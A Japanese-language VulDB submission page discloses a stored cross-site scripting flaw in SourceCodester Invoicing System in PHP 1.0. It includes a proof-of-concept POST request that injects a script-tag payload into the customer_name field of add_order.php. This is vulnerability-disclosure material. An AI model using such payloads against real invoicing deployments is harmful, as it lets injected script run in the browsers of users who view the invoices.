| タイトル | SourceCodester Invoicing System In PHP 1.0 Stored XSS |
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| 説明 | Invoice templates render database-backed values directly into HTML without output encoding. If an attacker can inject malicious content into customer, seller, or related invoice fields, the payload will execute when the invoice page is viewed.
Proof of Concept (PoC):
Below is a POST request demonstrating the vulnerability using a Stored XSS payload injected into an invoice field:
POST /InvoicingSystem_PHP/Invoicing/add_order.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=<valid_session>
customer_name=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&seller_name=test&amount=100
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| ソース | ⚠️ https://gist.github.com/c4ttr4ck/97c5babe1f16fa3243333528a40b7550 |
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| ユーザー | c4ttr4ck (UID 75518) |
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| 送信 | 2026年04月26日 23:28 (1 月 ago) |
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| モデレーション | 2026年05月24日 08:38 (27 days later) |
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| ステータス | 承諾済み |
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| VulDBエントリ | 365395 [SourceCodester Indian Invoicing System 迄 0.x/1.0 Invoice Template Render Database-Backed /Invoicing/add_order.php customer_name クロスサイトスクリプティング] |
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| ポイント | 20 |
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